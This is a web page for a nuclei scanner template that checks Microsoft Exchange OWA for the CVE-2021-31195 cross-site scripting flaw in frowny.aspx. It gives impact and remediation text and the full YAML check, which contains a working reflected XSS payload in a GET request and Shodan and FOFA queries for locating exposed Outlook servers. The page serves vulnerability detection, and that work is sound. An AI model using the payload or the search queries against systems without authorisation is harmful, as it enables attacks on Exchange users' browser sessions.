Microsoft Exchange Server - Cross-Site Scripting

mediumseverity

6.5CVSS score

73.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Apply the latest security updates provided by Microsoft to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//
Positive when: contains "alert(document.domain)//&et=ServerError" and "mail/bootr.ashx" AND contains in header "text/html" AND status 500

Run it with nuclei: nuclei -id CVE-2021-31195 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31195

info:
  name: Microsoft Exchange Server - Cross-Site Scripting
  author: infosecsanyam
  severity: medium
  description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31195
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31195
    cwe-id: CWE-79
    epss-score: 0.73676
    epss-percentile: 0.99475
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - http.title:"Outlook"
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,microsoft,exchange,owa,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from